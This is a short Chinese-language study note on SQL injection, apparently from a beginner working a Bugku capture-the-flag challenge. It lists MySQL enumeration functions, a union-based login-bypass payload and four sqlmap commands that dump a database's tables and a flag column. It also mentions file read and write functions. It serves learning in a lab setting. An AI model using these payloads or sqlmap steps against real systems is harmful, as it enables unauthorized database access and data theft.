sql注入笔记!
判断是否存在注入漏洞 经典的单引号判断。
select * from xx where id= x'
报错说明存在注入漏洞 不报错也不一定就不存在。。可能进行了单引号的过滤。
select * from xx where id=x' 这里写的都是sql的查询代码。
// #
在渗透测试中常用的几个函数和表库名
数据库名:database()
数据库版本: version()
数据库用户: user()
操作系统: @@version_compile_os
系统用户名: system_user()
当前用户名: current_user
连接数据库的用户名:session_user()
一次性显示:group_concat()
读取数据库路径:@@datadir
MYSQL安装路径:@@basedir
load_file 转成16进制或者10进制 MYSQL读取本地文件函数
into outfile 写入函数
储存所有数据库信息的表 : information_schema.schemata
储存所有表名信息的表 : information_schema.tables
储存所有列名信息的表 : information_schema.columns
表名 : table_name
数据库名: table_schema
字段名 : column_name
www.7ten7.top
今天做了一道题目,
一个神奇的登录框: -1" union select 1,database() from information_schema.schemata #
这是在查询他的数据库名字,。。发现什么都没有给我.
如图,他只有2个列,1,2 然后查询 下 1, 2 和 查询 1,database() 是一样的。就是把查询2 的位置变成了查询数据库的名字。 查询2个列,他只给了一个回显位。所有我们就应该把1位置放数据库查询,这样才能显示出来。
(来自小白的叹息。。。。)
关于sqlmap 的无情素质4连!
先把头文件保存起来。最好加上要传输的数据
//以下命令在kali 2.0中运行正常
1、sqlmap -r "/zzz/1.txt" -p admin_name --dbs
-r + 路径是以只读方式打开 -p + admin_name是选取admin_name为注入点(injection point) --dbs是爆破数据库名
2、sqlmap -r "/zzz/1.txt" -D bugkusql1 -p admin_name --tables
--tables 是爆列表名
3、sqlmap -r "/zzz/1.txt" -D bugkusql1 -T flag1 -p admin_name --columns
--columns是爆列名
4、sqlmap -r "/zzz/1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump
--dump是爆字段
最后得到flag